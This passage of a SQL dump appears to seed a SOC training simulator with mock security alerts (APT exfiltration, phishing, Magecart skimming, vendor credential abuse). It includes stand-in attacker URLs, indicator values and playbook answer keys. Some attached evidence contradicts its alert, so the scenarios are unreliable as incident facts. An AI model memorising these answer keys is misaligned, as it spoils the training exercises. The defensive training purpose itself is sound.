(442, 'Stealthy Data Exfiltration via Encrypted Channels', 'critical', 'Data loss prevention (DLP) systems', 'In the final stage, Volt Typhoon exfiltrates gathered intelligence through encrypted channels, ensuring the data leaves the network unnoticed.', 'Exfiltration', 'T1048.003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:24:00Z\",\"event_id\":\"EXP-2023-10-15-0001\",\"source_ip\":\"10.0.0.23\",\"destination_ip\":\"203.0.113.45\",\"encryption_protocol\":\"TLSv1.3\",\"destination_port\":443,\"data_size\":\"5GB\",\"user\":\"jdoe\",\"file_hash\":\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\",\"filename\":\"confidential_data.zip\",\"process\":\"exfiltrator.exe\",\"internal_network\":\"192.168.1.0/24\",\"external_domain\":\"malicious-exfiltration.com\"}', '2026-01-04 23:57:10', '2026-02-16 18:20:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Volt Typhoon.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential exfiltration of sensitive data.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-exfiltration.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain linked to malicious exfiltration activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"event_id\\\":\\\"EXP-2023-10-15-0001\\\",\\\"source_ip\\\":\\\"10.0.0.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"encryption_protocol\\\":\\\"TLSv1.3\\\",\\\"destination_port\\\":443,\\\"data_size\\\":\\\"5GB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"process\\\":\\\"exfiltrator.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\",\\\"external_domain\\\":\\\"malicious-exfiltration.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"event_id\\\":\\\"EXP-2023-10-15-0001\\\",\\\"source_ip\\\":\\\"10.0.0.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"encryption_protocol\\\":\\\"TLSv1.3\\\",\\\"destination_port\\\":443,\\\"data_size\\\":\\\"5GB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"process\\\":\\\"exfiltrator.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\",\\\"external_domain\\\":\\\"malicious-exfiltration.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"event_id\\\":\\\"EXP-2023-10-15-0001\\\",\\\"source_ip\\\":\\\"10.0.0.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"encryption_protocol\\\":\\\"TLSv1.3\\\",\\\"destination_port\\\":443,\\\"data_size\\\":\\\"5GB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"process\\\":\\\"exfiltrator.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\",\\\"external_domain\\\":\\\"malicious-exfiltration.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"event_id\\\":\\\"EXP-2023-10-15-0001\\\",\\\"source_ip\\\":\\\"10.0.0.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"encryption_protocol\\\":\\\"TLSv1.3\\\",\\\"destination_port\\\":443,\\\"data_size\\\":\\\"5GB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"process\\\":\\\"exfiltrator.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\",\\\"external_domain\\\":\\\"malicious-exfiltration.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:24:00Z\\\",\\\"event_id\\\":\\\"EXP-2023-10-15-0001\\\",\\\"source_ip\\\":\\\"10.0.0.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"encryption_protocol\\\":\\\"TLSv1.3\\\",\\\"destination_port\\\":443,\\\"data_size\\\":\\\"5GB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"process\\\":\\\"exfiltrator.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\",\\\"external_domain\\\":\\\"malicious-exfiltration.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(443, 'Phishing Email Detected', 'medium', 'Email Security Gateway', 'A phishing email was detected posing as an interview request. The email was sent from a known malicious IP address linked to Charming Kitten APT group, attempting to entice the target to engage.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:55:32Z\",\"email_id\":\"785e6a2f-1b7a-4f3c-bd8f-5d8f560f1f83\",\"from\":\"hr@fakecompany.com\",\"to\":\"targetuser@victimcompany.com\",\"subject\":\"Interview Request\",\"attacker_ip\":\"185.92.26.82\",\"recipient_ip\":\"192.168.1.15\",\"malicious_link\":\"http://malicious-link.com/interview\",\"attachment_name\":\"Interview_Schedule.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-04 23:59:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.26.82\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with Charming Kitten APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted user.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/interview\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing URL used for credential harvesting.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash of a known phishing document.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:19.052Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(455, 'Initial Compromise via Third-Party Library', 'high', 'Web Application Firewall (WAF) Logs', 'An intrusion was detected via a compromised third-party advertising library. The library, affected by Magecart, injects malicious JavaScript into checkout pages to exfiltrate sensitive information.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"http_request\":\"GET /ad-library.js HTTP/1.1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"referrer\":\"https://example-store.com/checkout\",\"malicious_script_hash\":\"6f1e3b2b4c3e8a2f7f5d5c9b8a8f7d6e\",\"filename\":\"ad-library.js\",\"detected_by\":\"WAF\",\"alert_id\":\"waf-alert-20231015-0001\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Magecart attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"6f1e3b2b4c3e8a2f7f5d5c9b8a8f7d6e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Magecart-injected scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ad-library.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"Filename is part of third-party library.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(456, 'Execution of Obfuscated JavaScript', 'high', 'JavaScript Console Logs', 'Obfuscated JavaScript code executed on the checkout page to skim credit card details and transmit them to an attacker-controlled server.', 'Code Injection', 'T1059.007', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:54Z\",\"event_id\":\"js_exec_001\",\"script_url\":\"http://malicious-domain.com/skimmer.js\",\"executed_by_ip\":\"192.168.1.101\",\"exfiltration_url\":\"http://attacker-site.com/cc_capture\",\"attacker_ip\":\"203.0.113.45\",\"script_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"filename\":\"skimmer.js\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/skimmer.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known credit card skimming attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"IP address known for hosting malicious infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with obfuscated JavaScript malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(457, 'Data Exfiltration to Drop Server', 'high', 'Network Traffic Analysis', 'The network traffic analysis has detected an unauthorized data transfer from the compromised internal server to an external drop server associated with Magecart. The data transferred includes payment information extracted from the internal server. The traffic was observed from internal IP 192.168.10.15 to external IP 203.0.113.45, with the data being exported in a compressed file named \'payments_exfil.zip\'. The hash of the exfiltrated file is 9e107d9d372bb6826bd81d3542a419d6.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"payments_exfil.zip\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"user\":\"websrv_user\",\"action\":\"transfer\",\"status\":\"completed\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"External IP associated with Magecart drop servers.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payments_exfil.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename used for exfiltrated payment data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltrated data files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(458, 'Suspicious Vendor Login Detected', 'high', 'SIEM Logs', 'An unauthorized login attempt was detected using compromised credentials from a trusted vendor. The attacker used these credentials to gain initial access to the retail giant\'s POS network.', 'Initial Access', 'T1078.001 - Valid Accounts: Default Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:20:30Z\",\"event_id\":\"4567\",\"event_type\":\"login_attempt\",\"username\":\"vendor_john_doe\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"login_status\":\"success\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"network_domain\":\"pos_network\",\"hash\":\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\",\"file_name\":\"pos_access_script.exe\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"vendor_john_doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"The username is associated with a trusted vendor but was used from an unusual location.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"The IP address is linked to multiple unauthorized access attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"The hash corresponds to a known malware used in recent attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"pos_access_script.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"The filename is consistent with scripts used in previous breaches.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 